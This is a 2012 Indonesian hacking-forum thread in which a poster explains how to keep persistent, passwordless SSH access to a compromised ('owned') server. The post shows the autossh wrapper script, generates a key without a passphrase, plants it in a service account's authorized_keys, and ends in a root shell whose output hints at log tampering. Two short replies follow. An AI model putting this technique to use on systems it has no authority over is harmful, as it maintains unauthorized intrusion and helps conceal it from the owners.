Home General Computer Multimedia Business Lounge
|
[Persisten SSH dengan skrip autossh dan memanfaatkan akun tanpa password di server]
|
|
02-28-2012, 10:54 AM
|
|||
|
|||
|
[Persisten SSH dengan skrip autossh dan memanfaatkan akun tanpa password di server]
[Persisten SSH dengan skrip autossh dan memanfaatkan akun tanpa password di server yang diowned]
by: ev1ut10n Dedicated to: "Manusia Biasa Team" thanks to: devilzc0de, antijasakom , manusia biasa team and jasakom and all my bro and sista install skrip autossh untuk mesin debian: ================= #apt-get install autossh ================ jika berhasil maka akan tercipta skrip shell autossh biasanya di /usr/bin/: ====== #!/bin/sh # little wrapper to choose a random port for autossh, falling back to $fallback_port fallback_port="21021" tcpstat="/proc/net/tcp" # take an hex port and check whether it is in use (i.e. locally bound) in # $tcpstat # unix command semantics: if in use return 0 else return 1 port_in_use() { if egrep -q "^[0-9 ]+: [0-9A-F]{8}:$1" $tcpstat ; then return 0 else return 1 fi } echo "$@" | egrep -q -- '-f?M ?[0-9]+' # backward compatibility, skip guess if -M is passed if [ $? -gt 0 ] && [ -z "$AUTOSSH_PORT" ]; then portguess="" if [ -r "/dev/urandom" ] && [ -r "$tcpstat" ]; then for t in $(seq 1 42); do # get a random hex randport=$( od -x -N2 -An /dev/urandom | tr -d ' ' ) # increase it a little "bit" randport=$( /usr/bin/printf "%04x" $(( 0x$randport | 0x8000 )) ) randport_1=$( /usr/bin/printf "%04x" $(( 0x$randport + 1 )) ) # check if port is in use, possibile race condition between here # and the exec if ! port_in_use $randport && ! port_in_use $randport_1; then portguess=$(( 0x$randport )) break fi done fi if [ -z "$portguess" ]; then fallback=$( /usr/bin/printf "%04x" $fallback_port ) fallback_1=$( /usr/bin/printf "%04x" $(( 0x$fallback + 1 )) ) if ! port_in_use $fallback && ! port_in_use $fallback_1; then portguess=$fallback_port else echo "unable to find a suitable tunnel port" exit 1 fi fi export AUTOSSH_PORT="$portguess" fi ==================== selanjutnya siapkan public key ssh ( tanpa password ) =================================== root@ev1lut10n-Vostro1310:/home/ev1lut10n# ssh-keygen -t rsa Generating public/private rsa key pair. Enter file in which to save the key (/root/.ssh/id_rsa): Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /root/.ssh/id_rsa. Your public key has been saved in /root/.ssh/id_rsa.pub. The key fingerprint is: 90:94:b1:22:20:69:cc:99:fa d:68:ab:9e:3b:9b:01 root@ev1lut10n-Vostro1310The key's randomart image is: +--[ RSA 2048]----+ |=.o oo | |oB ..o | |o . . + | |. . . . | |E. . o S | | .. + . | | .. . | | .+. | | .B= | +-----------------+ ======================== setelah itu lakukan copy public key tadi ke server yang di0wn3d (di sini port ssh non default yaitud 5669): ======= root@ev1lut10n-Vostro1310:/home/ev1lut10n# ssh-copy-id -i /root/.ssh/id_rsa.pub "clamav@hackerbox.org -p 5669" clamav@81.15.18.2's password: Now try logging into the machine, with "ssh 'clamav@hackerbox.org -p 5669'", and check in: .ssh/authorized_keys to make sure we haven't added extra keys that you weren't expecting. ======= selanjutnya kita bisa gunakan autossh: ================ root@ev1lut10n-Vostro1310:/home/ev1lut10n# autossh -M 3339 clamav@hackerbox.org -p 5669 Welcome to motd of hackerbox.org Last login: Tue Feb 28 03:34:49 2012 from 112.215.65.196 mv: cannot stat `secure.hm': No such file or directory mv: cannot stat `xferlog.hm': No such file or directory mv: cannot stat `maillog.hm': No such file or directory mv: cannot stat `warn.hm': No such file or directory mv: cannot stat `mail.hm': No such file or directory mv: cannot stat `httpda.hm': No such file or directory mv: cannot stat `httpde.hm': No such file or directory sh-3.2# =============== ok mungkin anda bertanya2 mengapa teknik ini digunakan? jawabanya check it out: ======================== root@ev1lut10n-Vostro1310:~# netstat -a | grep 3339 tcp 0 0 localhost.localdom:3339 *:* LISTEN tcp6 0 0 ev1lut10n-Vostro13:3339 [::]:* LISTEN ========================= |
|||
Reputed by : tabun(+1) , xtr0nic(+1) |
|
02-28-2012, 11:36 AM
|
|||
|
|||
|
RE: [Persisten SSH dengan skrip autossh dan memanfaatkan akun tanpa password di server]
waduh ane pake fedora
![]() anyway.. mantap dah om tool-nya
|
|||
|
02-29-2012, 12:50 AM
|
|||
|
|||
|
RE: [Persisten SSH dengan skrip autossh dan memanfaatkan akun tanpa password di server]
masih nggak ngerti om.. mengapa harus pake autossh?
tcp 0 0 localhost.localdom:3339 *:* LISTEN tcp6 0 0 ev1lut10n-Vostro13:3339 [::]:* LISTEN apakah biar support ipv6? |
|||
|
« Next Oldest | Next Newest »
|
| Topic Tools | ||||||
| ||||||
| Users Browsing |
| 1 Guest(s) |


d:68:ab:9e:3b:9b:01 root@ev1lut10n-Vostro1310










